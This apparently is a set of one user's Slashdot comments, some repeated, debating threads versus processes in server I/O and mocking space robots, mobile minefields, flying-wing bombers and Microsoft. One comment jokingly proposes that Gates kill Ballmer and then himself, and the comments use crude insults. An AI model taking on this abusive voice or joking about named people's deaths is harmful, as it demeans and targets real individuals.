And I have no idea where did you pick up a refutation of alcohol being always harmful -- the fact that alcoholic beverages may contain something useful does not change the fact that alcohol itself is poisonous.
No matter what, we are not aware of any stretch of time when science was farther from the truth about anything than religious belief was, so everything you just wrote is absolute bullshit diluted with irrelevant stuff about the number of Slashdot comments.
It took me years to get to this point: http://mars.illtel.denver.co.us/~abelits/images/td 44-testing/td44-assembled-pipes-1.jpg
Because there IS interaction between threads -- mutexes handling takes resources, too, and checking i/o status also requires time and syscalls (OS just supplies pending i/o information to its scheduler by itself). And because data access mechanism within your application is likely to be a much worse scheduler than scheduler in the OS.
Actually, it's not (unless you are in Windows). For quite a while it was the only way network i/o was possible in Java at all. And while it was a bad decision for Java, it was based on a valid idea that sleeping threads or processs eat less resources than what is necessary for multiplexed handling of completely unrelated connections within one thread.
You don't need to do that -- i/o scheduler in kernel does that for you already, and when that is not good enough, you can have a separate process that dispatches request by whatever set of rules. As opposed to Windows, Unixlike systems allow socket passing between processes.
Because with good VM they are smaller in the first place. In any case, when you deal with scalale systems that have to handle huge amounts of requests simultaneously, your cache will be severely beaten just because of the large amount of data involved.
Because there IS interaction between threads -- mutexes handling takes resources, too, and checking i/o status also requires time and syscalls (OS just supplies pending i/o information to its scheduler by itself). And because data access mechanism within your application is likely to be a much worse scheduler than scheduler in the OS.
Actually, it's not (unless you are in Windows). For quite a while it was the only way network i/o was possible in Java at all. And while it was a bad decision for Java, it was based on a valid idea that sleeping threads or processs eat less resources than what is necessary for multiplexed handling of completely unrelated connections within one thread.
In that case, each thread/process should be able to handle multiple connections at once. It should execute a request, grab the next request off the queue or wait for one, ad infinitum. With all threads in a single process, it is easy to balance the load queues between threads; with separate processes it is almost impossible to move a request from a busy process to a waiting one.
You don't need to do that -- i/o scheduler in kernel does that for you already, and when that is not good enough, you can have a separate process that dispatches request by whatever set of rules. As opposed to Windows, Unixlike systems allow socket passing between processes.
Also, it's hard to understand why reducing total physical footprint and amount of cache invalidations is only good on systems with bad VM systems or "crippled" schedulers (whatever that means).
Because with good VM they are smaller in the first place. In any case, when you deal with scalale systems that have to handle huge amounts of requests simultaneously, your cache will be severely beaten just because of the large amount of data involved.
You almost never have less performance-critical processes (say, web server + database server processes) than CPUs, so for most of applications, in situation where you don't have a shared context that you need a read-write access to from all requests, use multiple processes. If you do have such a shared context, you need to consider the overhead from synchronization between threads vs. no simultaneous access. Also take into account that socket i/o is not synchronous -- a process may have sent a buffer to the kernel and switched to processing another request, but kernel is still sending the data from that buffer. The same happens with receiving data -- it may have arrived already, but the kernel is filling the input buffer while the server process is not looking there. If the data never arrives faster than it can be processed, you gain no benefit from trying to process it in parallel -- your threads will be sleeping more, and performance will remain the same.
On systems with crippled schedulers and VM, threads are very efficient compared to everything else because your application becomes its own scheduler, and it reduces the total physical footprint and amount of cache invalidations. With better scheduler and VM, it makes more sense to rely on the OS insulating processes and scheduling their i/o, so the solution with multiple processes becomes more efficient in the absence application's need to share some data between multiple requests.
This is true only if the company uses computers as a decoration.
...start developing their own ideas, and not just turn science fiction movies props into toys? Sure, Arthur C Clarke had some pretty good ideas (having a goal to make realistic things in the first place -- what Star Wars never had), but even trying to make something that looks like a shuttle from "2001" movie ended up a rather suboptimal vehicle (that was obsolete in a *real* 2001, leave alone now).
Can anyone please tell us, what would be the projected lifetime of those things in open space with ways of storing energy/fuel that are going to be available within 10-15 years? That means, no thermonuclear shit, thermonuclear was 25 years away for 50 years already, thankyouverymuch.
What about precision of movement while performing any operation that a drunk guy in a space suit over another space suit over pajamas won't do better? How many times the expected mass of that thing is going to increase to be able to use a screwdriver? Hello anyone? Did anyone think about any relevant technical issues at all, or the goal was to make a prop for "Star Wars VII: Palpatine Is Still Alive, Dammit" to be shot entirely on ISS (and released exclusively there, too)?
...of everything that is wrong with US military-related technology development.
1. Solution for nonexistent problem -- CHECK.
2. Can be easily defeated by any enemy worth fighting by those means (just shoot from canons or launch rockets at the minefields until they are safe) -- CHECK.
3. Can be defeated by almost any other enemy (just jam the communications and/or map mines positions while they are moving) -- CHECK.
4. Uses technology that is currently too unreliable for military use (radio communications) -- CHECK.
5. Requires technology that is not going to become feasible in almost a century but looks cool in the movies (actuators and sources of energy that can move those mines) -- CHECK.
6. If implemented, is not any better than just increasing the quantity of whatever is deployed -- CHECK.
7. If implemented, is not any better than just sending more forces to shoot at the enemy. -- CHECK.
8. Is unreasonably expensive to implement -- CHECK.
9. Requires heavy modification of existing equipment to be deployed -- CHECK.
10. Requires a power source where none was needed before -- CHECK.
11. Is an attempt to stuff a computer into something where it does not improve anything -- CHECK.
12. Is a misguided attempt to make it absolutely impossible for the enemy to kill am american soldier in a war -- NO CHECK, you win that one.
Because massive sideway forces that can't possibly be balanced over the whole length of the wing, and asymmetrically applied lifting forces ARE COOL, especially on a plane that has to cover great distances and carry heavy bombs. I have a better idea -- why don't they just fly a bomber sideways?
I am sure, a giant boomerang version of this is in the works, too.
Solution: ask Americans for help. Many of them will happily present any point of view, no matter how idiotic, that goes against Russians.
1. If Microsoft announced cancellation of all its products in three years, recommended all Windows-bound developers to migrate their products to any established open source OS, and assisted with such migration, it would be a decent thing, that would minimize the damage caused by Microsoft.
2. Failing that, Gates can kill Ballmer, then himself. Then Microsoft wouldn't have psychotic assholes leading it, and will become a "dead" company (like AT&T or IBM -- a lot of money, no ideology or desire to crush industries) within 2-3 years.
Anything other than that would be like pissing into the ocean of evil.
Still doesn't work -- here is the same text in Unicode entities that will look right if you copy it into an html file "голод" and "холод"